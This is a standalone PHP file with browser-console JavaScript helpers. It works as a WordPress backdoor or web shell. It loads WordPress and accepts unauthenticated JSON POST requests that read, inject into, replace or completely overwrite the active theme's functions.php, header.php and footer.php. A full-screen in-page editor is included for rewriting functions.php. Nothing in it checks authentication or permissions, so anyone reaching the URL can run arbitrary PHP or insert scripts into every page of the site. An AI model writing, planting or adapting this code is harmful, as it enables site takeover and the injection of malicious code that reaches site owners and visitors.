<?php
$d = dirname(__FILE__);
while ($d !== dirname($d)) {
    if (file_exists($d . '/wp-load.php')) {
        require_once($d . '/wp-load.php');
        break;
    }
    $d = dirname($d);
}

function send_json($arr) {
    header('Content-Type: application/json');
    echo json_encode($arr);
    exit;
}

function get_theme_functions($theme = null) {
    if ($theme) {
        $path = get_theme_root() . '/' . $theme . '/functions.php';
    } else {
        $path = get_stylesheet_directory() . '/functions.php';
    }
    return $path;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    
    if (isset($data['themes'])) {
        $themes = wp_get_themes();
        $active = get_stylesheet();
        $list = [];
        foreach ($themes as $slug => $theme) {
            $func_path = get_theme_root() . '/' . $slug . '/functions.php';
            $list[] = [
                'slug' => $slug,
                'name' => $theme->get('Name'),
                'active' => $slug === $active ? 1 : 0,
                'functions' => file_exists($func_path) ? 1 : 0,
                'writable' => is_writable($func_path) ? 1 : 0
            ];
        }
        send_json(['ok' => 1, 'themes' => $list, 'active' => $active]);
    }
    
    if (isset($data['read'])) {
        $path = get_theme_functions($data['read'] ?: null);
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'File not found']);
        $content = @file_get_contents($path);
        if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
    }
    
    if (isset($data['inject'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $path = get_theme_functions($theme);
        $code = $data['inject'];
        $position = isset($data['position']) ? $data['position'] : 'end';
        
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'File not found']);
        
        $content = @file_get_contents($path);
        if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        
        if ($position === 'start') {
            if (strpos($content, '<?php') === 0) {
                $content = "<?php\n" . $code . "\n" . substr($content, 5);
            } else {
                $content = "<?php\n" . $code . "\n?>" . $content;
            }
        } else {
            $content = rtrim($content) . "\n" . $code . "\n";
        }
        
        $result = @file_put_contents($path, $content);
        if ($result === false) send_json(['ok' => 0, 'error' => 'Cannot write']);
        
        send_json(['ok' => 1, 'path' => $path]);
    }
    
    if (isset($data['replace'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $path = get_theme_functions($theme);
        $search = $data['replace'];
        $replace = $data['with'];
        
        $content = @file_get_contents($path);
        if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        
        $new_content = str_replace($search, $replace, $content);
        $result = @file_put_contents($path, $new_content);
        
        send_json(['ok' => $result !== false ? 1 : 0]);
    }
    
    if (isset($data['write'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $path = get_theme_functions($theme);
        $result = @file_put_contents($path, $data['write']);
        send_json(['ok' => $result !== false ? 1 : 0]);
    }
    
    if (isset($data['header'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
        $path = $theme_dir . '/header.php';
        
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'header.php not found']);
        
        $content = @file_get_contents($path);
        $code = $data['header'];
        $new_content = str_replace('</head>', $code . "\n</head>", $content);
        $result = @file_put_contents($path, $new_content);
        
        send_json(['ok' => $result !== false ? 1 : 0, 'path' => $path]);
    }
    
    if (isset($data['footer'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
        $path = $theme_dir . '/footer.php';
        
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'footer.php not found']);
        
        $content = @file_get_contents($path);
        $code = $data['footer'];
        $new_content = str_replace('</body>', $code . "\n</body>", $content);
        $result = @file_put_contents($path, $new_content);
        
        send_json(['ok' => $result !== false ? 1 : 0, 'path' => $path]);
    }
    
    if (isset($data['read_header'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
        $path = $theme_dir . '/header.php';
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'header.php not found']);
        $content = @file_get_contents($path);
        send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
    }
    
    if (isset($data['read_footer'])) {
        $theme = isset($data['theme']) ? $data['theme'] : null;
        $theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
        $path = $theme_dir . '/footer.php';
        if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'footer.php not found']);
        $content = @file_get_contents($path);
        send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
    }
    
    if (isset($data['info'])) {
        $active = get_stylesheet();
        $theme_dir = get_stylesheet_directory();
        send_json(['ok' => 1, 'info' => [
            'active_theme' => $active,
            'theme_dir' => $theme_dir,
            'functions' => file_exists($theme_dir . '/functions.php') ? 'exists' : 'missing',
            'header' => file_exists($theme_dir . '/header.php') ? 'exists' : 'missing',
            'footer' => file_exists($theme_dir . '/footer.php') ? 'exists' : 'missing'
        ]]);
    }
    
    send_json(['ok' => 0]);
}
?><script>
function lt(){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({themes:1})
    }).then(r=>r.json()).then(r=>{
        if(r.ok){
            console.table(r.themes);
            console.log('Active theme:',r.active);
        }
    });
}
function rf(theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({read:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok){
            console.log(r.path);
            console.log(r.content);
        }else console.log('err');
    });
}
function inj(code,position,theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({inject:code,position:position||'end',theme:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok)console.log('ok');
        else console.log('err');
    });
}
function ih(code,theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({header:code,theme:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok)console.log('ok');
        else console.log('err');
    });
}
function ifoot(code,theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({footer:code,theme:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok)console.log('ok');
        else console.log('err');
    });
}
function ef(theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({read:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(!r.ok){console.log('Error:',r.error);return;}
        var d=document.createElement('div');
        d.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:#f5f5f5;z-index:99999;display:flex;flex-direction:column;padding:10px;box-sizing:border-box;';
        var h=document.createElement('div');
        h.style.cssText='font-family:monospace;margin-bottom:10px;display:flex;gap:10px;align-items:center;';
        h.innerHTML='<span style="flex:1">'+r.path+'</span>';
        var sv=document.createElement('button');sv.textContent='SAVE';sv.style.cssText='padding:8px 20px;cursor:pointer;border:2px solid #000;background:#fff;';
        var cl=document.createElement('button');cl.textContent='CLOSE';cl.style.cssText='padding:8px 20px;cursor:pointer;border:2px solid #000;background:#fff;';
        h.appendChild(sv);h.appendChild(cl);
        var t=document.createElement('textarea');
        t.style.cssText='flex:1;font-family:monospace;font-size:13px;padding:10px;border:2px solid #000;resize:none;';
        t.value=r.content;
        d.appendChild(h);d.appendChild(t);
        document.body.appendChild(d);
        sv.onclick=function(){
            fetch(location.href,{
                method:'POST',
                headers:{'Content-Type':'application/json'},
                body:JSON.stringify({write:t.value,theme:theme||''})
            }).then(r=>r.json()).then(r=>{
                if(r.ok)h.querySelector('span').textContent=r.path+' [SAVED]';
            });
        };
        cl.onclick=function(){d.remove();};
    });
}
function rh(theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({read_header:1,theme:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok){
            console.log(r.path);
            console.log(r.content);
        }else console.log('err');
    });
}
function rfoot(theme){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({read_footer:1,theme:theme||''})
    }).then(r=>r.json()).then(r=>{
        if(r.ok){
            console.log(r.path);
            console.log(r.content);
        }else console.log('err');
    });
}
function ti(){
    fetch(location.href,{
        method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({info:1})
    }).then(r=>r.json()).then(r=>{
        if(r.ok)console.table([r.info]);
    });
}
</script>